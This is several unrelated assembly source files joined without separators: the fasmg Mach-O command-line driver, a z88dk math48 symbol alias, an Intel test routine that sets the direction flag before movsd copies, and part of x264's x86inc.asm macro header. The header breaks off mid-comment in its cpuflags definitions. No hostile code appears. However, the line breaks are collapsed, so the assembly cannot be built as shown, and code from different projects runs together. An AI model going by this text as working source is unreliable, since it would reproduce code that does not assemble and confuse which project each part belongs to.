match ,{ err ; fasm 1 assembly not supported } match -,{ else include 'selfhost.inc' end match _ equ } format MachO executable entry start include '../version.inc' interpreter '/usr/lib/dyld' uses '/usr/lib/libSystem.B.dylib' import libc.malloc,'_malloc',\ libc.realloc,'_realloc',\ libc.free,'_free',\ libc.fopen,'_fopen',\ libc.fclose,'_fclose',\ libc.fread,'_fread',\ libc.fwrite,'_fwrite',\ libc.fseek,'_fseek',\ libc.ftell,'_ftell',\ libc.time,'_time',\ libc.write,'_write',\ getenv,'_getenv',\ gettimeofday,'_gettimeofday',\ exit,'_exit' struct timeval time_t dd ? suseconds_t dd ? ends segment '__TEXT' readable executable section '__text' align 16 start: mov ecx,[esp] mov [argc],ecx lea ebx,[esp+4] mov [argv],ebx call system_init call get_arguments mov bl,al cmp [no_logo],0 jne logo_ok mov esi,_logo xor ecx,ecx call display_string logo_ok: test bl,bl jnz display_usage_information xor al,al mov ecx,[verbosity_level] jecxz init or al,TRACE_ERROR_STACK dec ecx jz init or al,TRACE_DISPLAY init: call assembly_init ccall gettimeofday,start_time,0 assemble: mov esi,[initial_commands] mov edx,[source_path] call assembly_pass jc assembly_done mov eax,[current_pass] cmp eax,[maximum_number_of_passes] jb assemble call show_display_data mov esi,_error_prefix xor ecx,ecx call display_error_string mov esi,_code_cannot_be_generated xor ecx,ecx call display_error_string mov esi,_message_suffix xor ecx,ecx call display_error_string jmp assembly_failed assembly_done: call show_display_data cmp [first_error],0 jne assembly_failed cmp [no_logo],0 jne summary_done mov eax,[current_pass] xor edx,edx call itoa call display_string mov esi,_passes cmp [current_pass],1 jne display_passes_suffix mov esi,_pass display_passes_suffix: xor ecx,ecx call display_string ccall gettimeofday,end_time,0 mov eax,[end_time.time_t] sub eax,[start_time.time_t] mov ecx,1000000 mul ecx add eax,[end_time.suseconds_t] adc edx,0 sub eax,[start_time.suseconds_t] sbb edx,0 add eax,50000 mov ecx,1000000 div ecx mov ebx,eax mov eax,edx xor edx,edx mov ecx,100000 div ecx mov [tenths_of_second],eax xchg eax,ebx or ebx,eax jz display_output_length xor edx,edx call itoa call display_string mov esi,_message_suffix mov ecx,1 call display_string mov eax,[tenths_of_second] xor edx,edx call itoa call display_string mov esi,_seconds xor ecx,ecx call display_string display_output_length: call get_output_length push eax edx call itoa call display_string pop edx eax mov esi,_bytes cmp eax,1 jne display_bytes_suffix test edx,edx jnz display_bytes_suffix mov esi,_byte display_bytes_suffix: xor ecx,ecx call display_string mov esi,_new_line xor ecx,ecx call display_string summary_done: mov ebx,[source_path] mov edi,[output_path] call write_output_file jc write_failed call assembly_shutdown call system_shutdown ccall exit,0 assembly_failed: call show_errors call assembly_shutdown call system_shutdown ccall exit,2 write_failed: mov ebx,_write_failed jmp fatal_error out_of_memory: mov ebx,_out_of_memory jmp fatal_error fatal_error: mov esi,_error_prefix xor ecx,ecx call display_error_string mov esi,ebx xor ecx,ecx call display_error_string mov esi,_message_suffix xor ecx,ecx call display_error_string call assembly_shutdown call system_shutdown ccall exit,3 display_usage_information: mov esi,_usage xor ecx,ecx call display_string call system_shutdown ccall exit,1 get_arguments: xor eax,eax mov [initial_commands],eax mov [source_path],eax mov [output_path],eax mov [no_logo],al mov [verbosity_level],eax mov [maximum_number_of_passes],100 mov [maximum_number_of_errors],1 mov [maximum_depth_of_stack],10000 mov ecx,[argc] mov ebx,[argv] add ebx,4 dec ecx jz error_in_arguments get_argument: mov esi,[ebx] mov al,[esi] cmp al,'-' je get_option cmp [source_path],0 jne get_output_file mov [source_path],esi jmp next_argument get_output_file: cmp [output_path],0 jne error_in_arguments mov [output_path],esi jmp next_argument get_option: inc esi lodsb cmp al,'e' je set_errors_limit cmp al,'E' je set_errors_limit cmp al,'i' je insert_initial_command cmp al,'I' je insert_initial_command cmp al,'p' je set_passes_limit cmp al,'P' je set_passes_limit cmp al,'r' je set_recursion_limit cmp al,'R' je set_recursion_limit cmp al,'v' je set_verbose_mode cmp al,'V' je set_verbose_mode cmp al,'n' je set_no_logo cmp al,'N' jne error_in_arguments set_no_logo: or [no_logo],-1 cmp byte [esi],0 je next_argument error_in_arguments: or al,-1 ret set_verbose_mode: cmp byte [esi],0 jne get_verbose_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_verbose_setting: call get_option_value cmp edx,2 ja error_in_arguments mov [verbosity_level],edx jmp next_argument set_errors_limit: cmp byte [esi],0 jne get_errors_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_errors_setting: call get_option_value test edx,edx jz error_in_arguments mov [maximum_number_of_errors],edx jmp next_argument set_recursion_limit: cmp byte [esi],0 jne get_recursion_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_recursion_setting: call get_option_value test edx,edx jz error_in_arguments mov [maximum_depth_of_stack],edx jmp next_argument set_passes_limit: cmp byte [esi],0 jne get_passes_setting dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] get_passes_setting: call get_option_value test edx,edx jz error_in_arguments mov [maximum_number_of_passes],edx next_argument: add ebx,4 dec ecx jnz get_argument cmp [source_path],0 je error_in_arguments xor al,al ret get_option_value: xor eax,eax mov edx,eax find_option_value: cmp byte [esi],20h jne get_option_digit inc esi jmp find_option_value get_option_digit: lodsb test al,al jz option_value_ok sub al,30h jc invalid_option_value cmp al,9 ja invalid_option_value imul edx,10 jo invalid_option_value add edx,eax jc invalid_option_value jmp get_option_digit option_value_ok: dec esi clc ret invalid_option_value: stc ret insert_initial_command: cmp byte [esi],0 jne measure_initial_command dec ecx jz error_in_arguments add ebx,4 mov esi,[ebx] measure_initial_command: push ebx ecx edi mov edi,esi or ecx,-1 xor al,al repne scasb not ecx dec ecx mov edi,[initial_commands] lea eax,[ecx+2] test edi,edi jz allocate_initial_commands_buffer mov edx,[initial_commands_length] add edi,edx add eax,edx cmp eax,[initial_commands_maximum_length] ja grow_initial_commands_buffer copy_initial_command: rep movsb mov ax,0Ah stosw dec edi sub edi,[initial_commands] mov [initial_commands_length],edi pop edi ecx ebx jmp next_argument allocate_initial_commands_buffer: push ecx mov ecx,eax call malloc mov [initial_commands],eax mov [initial_commands_maximum_length],ecx mov edi,eax pop ecx jmp copy_initial_command grow_initial_commands_buffer: push ecx mov ecx,eax mov eax,[initial_commands] call realloc mov [initial_commands],eax mov [initial_commands_maximum_length],ecx mov edi,eax add edi,[initial_commands_length] pop ecx jmp copy_initial_command include 'system.inc' include '../assembler.inc' include '../symbols.inc' include '../expressions.inc' include '../conditions.inc' include '../floats.inc' include '../directives.inc' include '../calm.inc' include '../errors.inc' include '../map.inc' include '../reader.inc' include '../output.inc' include '../console.inc' section '__cstring' align 4 _logo db 'flat assembler version g.',VERSION,10,0 _usage db 'Usage: fasmg source [output]',10 db 'Optional settings:',10 db ' -p limit Set the maximum allowed number of passes (default 100)',10 db ' -e limit Set the maximum number of displayed errors (default 1)',10 db ' -r limit Set the maximum depth of stack (default 10000)',10 db ' -v flag Enable or disable showing all lines from the stack (default 0)',10 db ' -i command Insert instruction at the beginning of source',13,10 db ' -n Do not show logo nor summary',13,10 db 0 _pass db ' pass, ',0 _passes db ' passes, ',0 _dot db '.' _seconds db ' seconds, ',0 _byte db ' byte.',0 _bytes db ' bytes.',0 _write_failed db 'failed to write the output file',0 _out_of_memory db 'not enough memory to complete the assembly',0 _code_cannot_be_generated db 'could not generate code within the allowed number of passes',0 _open_mode db 'r',0 _create_mode db 'w',0 include '../tables.inc' include '../messages.inc' segment '__DATA' readable writable section '__bss' align 4 include '../variables.inc' source_path dd ? output_path dd ? maximum_number_of_passes dd ? initial_commands dd ? initial_commands_length dd ? initial_commands_maximum_length dd ? argc dd ? argv dd ? timestamp dq ? start_time timeval end_time timeval tenths_of_second dd ? verbosity_level dd ? no_logo db ? path_buffer rb 1000h
SECTION code_fp_math48 PUBLIC derror_pinfnc EXTERN am48_derror_pinfnc defc derror_pinfnc = am48_derror_pinfnc
; BEGIN_LEGAL ; Intel Open Source License ; ; Copyright (c) 2002-2016 Intel Corporation. All rights reserved. ; ; Redistribution and use in source and binary forms, with or without ; modification, are permitted provided that the following conditions are ; met: ; ; Redistributions of source code must retain the above copyright notice, ; this list of conditions and the following disclaimer. Redistributions ; in binary form must reproduce the above copyright notice, this list of ; conditions and the following disclaimer in the documentation and/or ; other materials provided with the distribution. Neither the name of ; the Intel Corporation nor the names of its contributors may be used to ; endorse or promote products derived from this software without ; specific prior written permission. ; ; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS ; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT ; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR ; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR ; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, ; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT ; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, ; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY ; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT ; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ; END_LEGAL PUBLIC TestDfByMovsd .686 .model flat, c extern source:word extern dest:word .code TestDfByMovsd PROC std push esi push edi lea esi, source add esi, 4 lea edi, dest add edi, 4 movsd movsd pop edi pop esi ret TestDfByMovsd ENDP end
;***************************************************************************** ;* x86inc.asm: x264asm abstraction layer ;***************************************************************************** ;* Copyright (C) 2005-2015 x264 project ;* ;* Authors: Loren Merritt <lorenm@u.washington.edu> ;* Anton Mitrofanov <BugMaster@narod.ru> ;* Fiona Glaser <fiona@x264.com> ;* Henrik Gramner <henrik@gramner.com> ;* ;* Permission to use, copy, modify, and/or distribute this software for any ;* purpose with or without fee is hereby granted, provided that the above ;* copyright notice and this permission notice appear in all copies. ;* ;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES ;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF ;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES ;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF ;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. ;***************************************************************************** ; This is a header file for the x264ASM assembly language, which uses ; NASM/YASM syntax combined with a large number of macros to provide easy ; abstraction between different calling conventions (x86_32, win64, linux64). ; It also has various other useful features to simplify writing the kind of ; DSP functions that are most often used in x264. ; Unlike the rest of x264, this file is available under an ISC license, as it ; has significant usefulness outside of x264 and we want it to be available ; to the largest audience possible. Of course, if you modify it for your own ; purposes to add a new feature, we strongly encourage contributing a patch ; as this feature might be useful for others as well. Send patches or ideas ; to x264-devel@videolan.org . %ifndef private_prefix %define private_prefix x264 %endif %ifndef public_prefix %define public_prefix private_prefix %endif %ifndef STACK_ALIGNMENT %if ARCH_X86_64 %define STACK_ALIGNMENT 16 %else %define STACK_ALIGNMENT 4 %endif %endif %define WIN64 0 %define UNIX64 0 %if ARCH_X86_64 %ifidn __OUTPUT_FORMAT__,win32 %define WIN64 1 %elifidn __OUTPUT_FORMAT__,win64 %define WIN64 1 %elifidn __OUTPUT_FORMAT__,x64 %define WIN64 1 %else %define UNIX64 1 %endif %endif %define FORMAT_ELF 0 %ifidn __OUTPUT_FORMAT__,elf %define FORMAT_ELF 1 %elifidn __OUTPUT_FORMAT__,elf32 %define FORMAT_ELF 1 %elifidn __OUTPUT_FORMAT__,elf64 %define FORMAT_ELF 1 %endif %ifdef PREFIX %define mangle(x) _ %+ x %else %define mangle(x) x %endif %macro SECTION_RODATA 0-1 16 SECTION .rodata align=%1 %endmacro %if WIN64 %define PIC %elif ARCH_X86_64 == 0 ; x86_32 doesn't require PIC. ; Some distros prefer shared objects to be PIC, but nothing breaks if ; the code contains a few textrels, so we'll skip that complexity. %undef PIC %endif %ifdef PIC default rel %endif %ifdef __NASM_VER__ %use smartalign %endif ; Macros to eliminate most code duplication between x86_32 and x86_64: ; Currently this works only for leaf functions which load all their arguments ; into registers at the start, and make no other use of the stack. Luckily that ; covers most of x264's asm. ; PROLOGUE: ; %1 = number of arguments. loads them from stack if needed. ; %2 = number of registers used. pushes callee-saved regs if needed. ; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed. ; %4 = (optional) stack size to be allocated. The stack will be aligned before ; allocating the specified stack size. If the required stack alignment is ; larger than the known stack alignment the stack will be manually aligned ; and an extra register will be allocated to hold the original stack ; pointer (to not invalidate r0m etc.). To prevent the use of an extra ; register as stack pointer, request a negative stack size. ; %4+/%5+ = list of names to define to registers ; PROLOGUE can also be invoked by adding the same options to cglobal ; e.g. ; cglobal foo, 2,3,7,0x40, dst, src, tmp ; declares a function (foo) that automatically loads two arguments (dst and ; src) into registers, uses one additional register (tmp) plus 7 vector ; registers (m0-m6) and allocates 0x40 bytes of stack space. ; TODO Some functions can use some args directly from the stack. If they're the ; last args then you can just not declare them, but if they're in the middle ; we need more flexible macro. ; RET: ; Pops anything that was pushed by PROLOGUE, and returns. ; REP_RET: ; Use this instead of RET if it's a branch target. ; registers: ; rN and rNq are the native-size register holding function argument N ; rNd, rNw, rNb are dword, word, and byte size ; rNh is the high 8 bits of the word size ; rNm is the original location of arg N (a register or on the stack), dword ; rNmp is native size %macro DECLARE_REG 2-3 %define r%1q %2 %define r%1d %2d %define r%1w %2w %define r%1b %2b %define r%1h %2h %if %0 == 2 %define r%1m %2d %define r%1mp %2 %elif ARCH_X86_64 ; memory %define r%1m [rstk + stack_offset + %3] %define r%1mp qword r %+ %1 %+ m %else %define r%1m [rstk + stack_offset + %3] %define r%1mp dword r %+ %1 %+ m %endif %define r%1 %2 %endmacro %macro DECLARE_REG_SIZE 3 %define r%1q r%1 %define e%1q r%1 %define r%1d e%1 %define e%1d e%1 %define r%1w %1 %define e%1w %1 %define r%1h %3 %define e%1h %3 %define r%1b %2 %define e%1b %2 %if ARCH_X86_64 == 0 %define r%1 e%1 %endif %endmacro DECLARE_REG_SIZE ax, al, ah DECLARE_REG_SIZE bx, bl, bh DECLARE_REG_SIZE cx, cl, ch DECLARE_REG_SIZE dx, dl, dh DECLARE_REG_SIZE si, sil, null DECLARE_REG_SIZE di, dil, null DECLARE_REG_SIZE bp, bpl, null ; t# defines for when per-arch register allocation is more complex than just function arguments %macro DECLARE_REG_TMP 1-* %assign %%i 0 %rep %0 CAT_XDEFINE t, %%i, r%1 %assign %%i %%i+1 %rotate 1 %endrep %endmacro %macro DECLARE_REG_TMP_SIZE 0-* %rep %0 %define t%1q t%1 %+ q %define t%1d t%1 %+ d %define t%1w t%1 %+ w %define t%1h t%1 %+ h %define t%1b t%1 %+ b %rotate 1 %endrep %endmacro DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14 %if ARCH_X86_64 %define gprsize 8 %else %define gprsize 4 %endif %macro PUSH 1 push %1 %ifidn rstk, rsp %assign stack_offset stack_offset+gprsize %endif %endmacro %macro POP 1 pop %1 %ifidn rstk, rsp %assign stack_offset stack_offset-gprsize %endif %endmacro %macro PUSH_IF_USED 1-* %rep %0 %if %1 < regs_used PUSH r%1 %endif %rotate 1 %endrep %endmacro %macro POP_IF_USED 1-* %rep %0 %if %1 < regs_used pop r%1 %endif %rotate 1 %endrep %endmacro %macro LOAD_IF_USED 1-* %rep %0 %if %1 < num_args mov r%1, r %+ %1 %+ mp %endif %rotate 1 %endrep %endmacro %macro SUB 2 sub %1, %2 %ifidn %1, rstk %assign stack_offset stack_offset+(%2) %endif %endmacro %macro ADD 2 add %1, %2 %ifidn %1, rstk %assign stack_offset stack_offset-(%2) %endif %endmacro %macro movifnidn 2 %ifnidn %1, %2 mov %1, %2 %endif %endmacro %macro movsxdifnidn 2 %ifnidn %1, %2 movsxd %1, %2 %endif %endmacro %macro ASSERT 1 %if (%1) == 0 %error assert failed %endif %endmacro %macro DEFINE_ARGS 0-* %ifdef n_arg_names %assign %%i 0 %rep n_arg_names CAT_UNDEF arg_name %+ %%i, q CAT_UNDEF arg_name %+ %%i, d CAT_UNDEF arg_name %+ %%i, w CAT_UNDEF arg_name %+ %%i, h CAT_UNDEF arg_name %+ %%i, b CAT_UNDEF arg_name %+ %%i, m CAT_UNDEF arg_name %+ %%i, mp CAT_UNDEF arg_name, %%i %assign %%i %%i+1 %endrep %endif %xdefine %%stack_offset stack_offset %undef stack_offset ; so that the current value of stack_offset doesn't get baked in by xdefine %assign %%i 0 %rep %0 %xdefine %1q r %+ %%i %+ q %xdefine %1d r %+ %%i %+ d %xdefine %1w r %+ %%i %+ w %xdefine %1h r %+ %%i %+ h %xdefine %1b r %+ %%i %+ b %xdefine %1m r %+ %%i %+ m %xdefine %1mp r %+ %%i %+ mp CAT_XDEFINE arg_name, %%i, %1 %assign %%i %%i+1 %rotate 1 %endrep %xdefine stack_offset %%stack_offset %assign n_arg_names %0 %endmacro %define required_stack_alignment ((mmsize + 15) & ~15) %macro ALLOC_STACK 1-2 0 ; stack_size, n_xmm_regs (for win64 only) %ifnum %1 %if %1 != 0 %assign %%pad 0 %assign stack_size %1 %if stack_size < 0 %assign stack_size -stack_size %endif %if WIN64 %assign %%pad %%pad + 32 ; shadow space %if mmsize != 8 %assign xmm_regs_used %2 %if xmm_regs_used > 8 %assign %%pad %%pad + (xmm_regs_used-8)*16 ; callee-saved xmm registers %endif %endif %endif %if required_stack_alignment <= STACK_ALIGNMENT ; maintain the current stack alignment %assign stack_size_padded stack_size + %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1)) SUB rsp, stack_size_padded %else %assign %%reg_num (regs_used - 1) %xdefine rstk r %+ %%reg_num ; align stack, and save original stack location directly above ; it, i.e. in [rsp+stack_size_padded], so we can restore the ; stack in a single instruction (i.e. mov rsp, rstk or mov ; rsp, [rsp+stack_size_padded]) %if %1 < 0 ; need to store rsp on stack %xdefine rstkm [rsp + stack_size + %%pad] %assign %%pad %%pad + gprsize %else ; can keep rsp in rstk during whole function %xdefine rstkm rstk %endif %assign stack_size_padded stack_size + ((%%pad + required_stack_alignment-1) & ~(required_stack_alignment-1)) mov rstk, rsp and rsp, ~(required_stack_alignment-1) sub rsp, stack_size_padded movifnidn rstkm, rstk %endif WIN64_PUSH_XMM %endif %endif %endmacro %macro SETUP_STACK_POINTER 1 %ifnum %1 %if %1 != 0 && required_stack_alignment > STACK_ALIGNMENT %if %1 > 0 %assign regs_used (regs_used + 1) %elif ARCH_X86_64 && regs_used == num_args && num_args <= 4 + UNIX64 * 2 %warning "Stack pointer will overwrite register argument" %endif %endif %endif %endmacro %macro DEFINE_ARGS_INTERNAL 3+ %ifnum %2 DEFINE_ARGS %3 %elif %1 == 4 DEFINE_ARGS %2 %elif %1 > 4 DEFINE_ARGS %2, %3 %endif %endmacro %if WIN64 ; Windows x64 ;================================================= DECLARE_REG 0, rcx DECLARE_REG 1, rdx DECLARE_REG 2, R8 DECLARE_REG 3, R9 DECLARE_REG 4, R10, 40 DECLARE_REG 5, R11, 48 DECLARE_REG 6, rax, 56 DECLARE_REG 7, rdi, 64 DECLARE_REG 8, rsi, 72 DECLARE_REG 9, rbx, 80 DECLARE_REG 10, rbp, 88 DECLARE_REG 11, R12, 96 DECLARE_REG 12, R13, 104 DECLARE_REG 13, R14, 112 DECLARE_REG 14, R15, 120 %macro PROLOGUE 2-5+ 0 ; #args, #regs, #xmm_regs, [stack_size,] arg_names... %assign num_args %1 %assign regs_used %2 ASSERT regs_used >= num_args SETUP_STACK_POINTER %4 ASSERT regs_used <= 15 PUSH_IF_USED 7, 8, 9, 10, 11, 12, 13, 14 ALLOC_STACK %4, %3 %if mmsize != 8 && stack_size == 0 WIN64_SPILL_XMM %3 %endif LOAD_IF_USED 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14 DEFINE_ARGS_INTERNAL %0, %4, %5 %endmacro %macro WIN64_PUSH_XMM 0 ; Use the shadow space to store XMM6 and XMM7, the rest needs stack space allocated. %if xmm_regs_used > 6 movaps [rstk + stack_offset + 8], xmm6 %endif %if xmm_regs_used > 7 movaps [rstk + stack_offset + 24], xmm7 %endif %if xmm_regs_used > 8 %assign %%i 8 %rep xmm_regs_used-8 movaps [rsp + (%%i-8)*16 + stack_size + 32], xmm %+ %%i %assign %%i %%i+1 %endrep %endif %endmacro %macro WIN64_SPILL_XMM 1 %assign xmm_regs_used %1 ASSERT xmm_regs_used <= 16 %if xmm_regs_used > 8 ; Allocate stack space for callee-saved xmm registers plus shadow space and align the stack. %assign %%pad (xmm_regs_used-8)*16 + 32 %assign stack_size_padded %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1)) SUB rsp, stack_size_padded %endif WIN64_PUSH_XMM %endmacro %macro WIN64_RESTORE_XMM_INTERNAL 1 %assign %%pad_size 0 %if xmm_regs_used > 8 %assign %%i xmm_regs_used %rep xmm_regs_used-8 %assign %%i %%i-1 movaps xmm %+ %%i, [%1 + (%%i-8)*16 + stack_size + 32] %endrep %endif %if stack_size_padded > 0 %if stack_size > 0 && required_stack_alignment > STACK_ALIGNMENT mov rsp, rstkm %else add %1, stack_size_padded %assign %%pad_size stack_size_padded %endif %endif %if xmm_regs_used > 7 movaps xmm7, [%1 + stack_offset - %%pad_size + 24] %endif %if xmm_regs_used > 6 movaps xmm6, [%1 + stack_offset - %%pad_size + 8] %endif %endmacro %macro WIN64_RESTORE_XMM 1 WIN64_RESTORE_XMM_INTERNAL %1 %assign stack_offset (stack_offset-stack_size_padded) %assign xmm_regs_used 0 %endmacro %define has_epilogue regs_used > 7 || xmm_regs_used > 6 || mmsize == 32 || stack_size > 0 %macro RET 0 WIN64_RESTORE_XMM_INTERNAL rsp POP_IF_USED 14, 13, 12, 11, 10, 9, 8, 7 %if mmsize == 32 vzeroupper %endif AUTO_REP_RET %endmacro %elif ARCH_X86_64 ; *nix x64 ;============================================= DECLARE_REG 0, rdi DECLARE_REG 1, rsi DECLARE_REG 2, rdx DECLARE_REG 3, rcx DECLARE_REG 4, R8 DECLARE_REG 5, R9 DECLARE_REG 6, rax, 8 DECLARE_REG 7, R10, 16 DECLARE_REG 8, R11, 24 DECLARE_REG 9, rbx, 32 DECLARE_REG 10, rbp, 40 DECLARE_REG 11, R12, 48 DECLARE_REG 12, R13, 56 DECLARE_REG 13, R14, 64 DECLARE_REG 14, R15, 72 %macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names... %assign num_args %1 %assign regs_used %2 ASSERT regs_used >= num_args SETUP_STACK_POINTER %4 ASSERT regs_used <= 15 PUSH_IF_USED 9, 10, 11, 12, 13, 14 ALLOC_STACK %4 LOAD_IF_USED 6, 7, 8, 9, 10, 11, 12, 13, 14 DEFINE_ARGS_INTERNAL %0, %4, %5 %endmacro %define has_epilogue regs_used > 9 || mmsize == 32 || stack_size > 0 %macro RET 0 %if stack_size_padded > 0 %if required_stack_alignment > STACK_ALIGNMENT mov rsp, rstkm %else add rsp, stack_size_padded %endif %endif POP_IF_USED 14, 13, 12, 11, 10, 9 %if mmsize == 32 vzeroupper %endif AUTO_REP_RET %endmacro %else ; X86_32 ;============================================================== DECLARE_REG 0, eax, 4 DECLARE_REG 1, ecx, 8 DECLARE_REG 2, edx, 12 DECLARE_REG 3, ebx, 16 DECLARE_REG 4, esi, 20 DECLARE_REG 5, edi, 24 DECLARE_REG 6, ebp, 28 %define rsp esp %macro DECLARE_ARG 1-* %rep %0 %define r%1m [rstk + stack_offset + 4*%1 + 4] %define r%1mp dword r%1m %rotate 1 %endrep %endmacro DECLARE_ARG 7, 8, 9, 10, 11, 12, 13, 14 %macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names... %assign num_args %1 %assign regs_used %2 ASSERT regs_used >= num_args %if num_args > 7 %assign num_args 7 %endif %if regs_used > 7 %assign regs_used 7 %endif SETUP_STACK_POINTER %4 ASSERT regs_used <= 7 PUSH_IF_USED 3, 4, 5, 6 ALLOC_STACK %4 LOAD_IF_USED 0, 1, 2, 3, 4, 5, 6 DEFINE_ARGS_INTERNAL %0, %4, %5 %endmacro %define has_epilogue regs_used > 3 || mmsize == 32 || stack_size > 0 %macro RET 0 %if stack_size_padded > 0 %if required_stack_alignment > STACK_ALIGNMENT mov rsp, rstkm %else add rsp, stack_size_padded %endif %endif POP_IF_USED 6, 5, 4, 3 %if mmsize == 32 vzeroupper %endif AUTO_REP_RET %endmacro %endif ;====================================================================== %if WIN64 == 0 %macro WIN64_SPILL_XMM 1 %endmacro %macro WIN64_RESTORE_XMM 1 %endmacro %macro WIN64_PUSH_XMM 0 %endmacro %endif ; On AMD cpus <=K10, an ordinary ret is slow if it immediately follows either ; a branch or a branch target. So switch to a 2-byte form of ret in that case. ; We can automatically detect "follows a branch", but not a branch target. ; (SSSE3 is a sufficient condition to know that your cpu doesn't have this problem.) %macro REP_RET 0 %if has_epilogue RET %else rep ret %endif %endmacro %define last_branch_adr $$ %macro AUTO_REP_RET 0 %ifndef cpuflags times ((last_branch_adr-$)>>31)+1 rep ; times 1 iff $ != last_branch_adr. %elif notcpuflag(ssse3) times ((last_branch_adr-$)>>31)+1 rep %endif ret %endmacro %macro BRANCH_INSTR 0-* %rep %0 %macro %1 1-2 %1 %2 %1 %%branch_instr: %xdefine last_branch_adr %%branch_instr %endmacro %rotate 1 %endrep %endmacro BRANCH_INSTR jz, je, jnz, jne, jl, jle, jnl, jnle, jg, jge, jng, jnge, ja, jae, jna, jnae, jb, jbe, jnb, jnbe, jc, jnc, js, jns, jo, jno, jp, jnp %macro TAIL_CALL 2 ; callee, is_nonadjacent %if has_epilogue call %1 RET %elif %2 jmp %1 %endif %endmacro ;============================================================================= ; arch-independent part ;============================================================================= %assign function_align 16 ; Begin a function. ; Applies any symbol mangling needed for C linkage, and sets up a define such that ; subsequent uses of the function name automatically refer to the mangled version. ; Appends cpuflags to the function name if cpuflags has been specified. ; The "" empty default parameter is a workaround for nasm, which fails if SUFFIX ; is empty and we call cglobal_internal with just %1 %+ SUFFIX (without %2). %macro cglobal 1-2+ "" ; name, [PROLOGUE args] cglobal_internal 1, %1 %+ SUFFIX, %2 %endmacro %macro cvisible 1-2+ "" ; name, [PROLOGUE args] cglobal_internal 0, %1 %+ SUFFIX, %2 %endmacro %macro cglobal_internal 2-3+ %if %1 %xdefine %%FUNCTION_PREFIX private_prefix %xdefine %%VISIBILITY hidden %else %xdefine %%FUNCTION_PREFIX public_prefix %xdefine %%VISIBILITY %endif %ifndef cglobaled_%2 %xdefine %2 mangle(%%FUNCTION_PREFIX %+ _ %+ %2) %xdefine %2.skip_prologue %2 %+ .skip_prologue CAT_XDEFINE cglobaled_, %2, 1 %endif %xdefine current_function %2 %if FORMAT_ELF global %2:function %%VISIBILITY %else global %2 %endif align function_align %2: RESET_MM_PERMUTATION ; needed for x86-64, also makes disassembly somewhat nicer %xdefine rstk rsp ; copy of the original stack pointer, used when greater alignment than the known stack alignment is required %assign stack_offset 0 ; stack pointer offset relative to the return address %assign stack_size 0 ; amount of stack space that can be freely used inside a function %assign stack_size_padded 0 ; total amount of allocated stack space, including space for callee-saved xmm registers on WIN64 and alignment padding %assign xmm_regs_used 0 ; number of XMM registers requested, used for dealing with callee-saved registers on WIN64 %ifnidn %3, "" PROLOGUE %3 %endif %endmacro %macro cextern 1 %xdefine %1 mangle(private_prefix %+ _ %+ %1) CAT_XDEFINE cglobaled_, %1, 1 extern %1 %endmacro ; like cextern, but without the prefix %macro cextern_naked 1 %ifdef PREFIX %xdefine %1 mangle(%1) %endif CAT_XDEFINE cglobaled_, %1, 1 extern %1 %endmacro %macro const 1-2+ %xdefine %1 mangle(private_prefix %+ _ %+ %1) %if FORMAT_ELF global %1:data hidden %else global %1 %endif %1: %2 %endmacro ; This is needed for ELF, otherwise the GNU linker assumes the stack is executable by default. %if FORMAT_ELF [SECTION .note.GNU-stack noalloc noexec nowrite progbits] %endif ; cpuflags %assign cpuflags_mmx (1<<0) %assign cpuflags_mmx2 (1<<1) | cpuflags_mmx %assign cpuflags_3dnow (1<<2) | cpuflags_mmx %assign cpuflags_3dnowext (1<<3) | cpuflags_3dnow %assign cpuflags_sse (1<<4) | cpuflags_mmx2 %assign cpuflags_sse2 (1<<5) | cpuflags_sse %assign cpuflags_sse2slow (1<<6) | cpuflags_sse2 %assign cpuflags_sse3 (1<<7) | cpuflags_sse2 %assign cpuflags_ssse3 (1<<8) | cpuflags_sse3 %assign cpuflags_sse4 (1<<9) | cpuflags_ssse3 %assign cpuflags_sse42 (1<<10)| cpuflags_sse4 %assign cpuflags_avx (1<<11)| cpuflags_sse42 %assign cpuflags_xop (1<<12)| cpuflags_avx %assign cpuflags_fma4 (1<<13)| cpuflags_avx %assign cpuflags_fma3 (1<<14)| cpuflags_avx %assign cpuflags_avx2 (1<<15)| cpuflags_fma3 %assign cpuflags_cache32 (1<<16) %assign cpuflags_cache64 (1<<17) %assign cpuflags_slowctz (1<<18) %assign cpuflags_lzcnt (1<<19) %assign cpuflags_aligned (1<<20) ; not a cpu feature, but 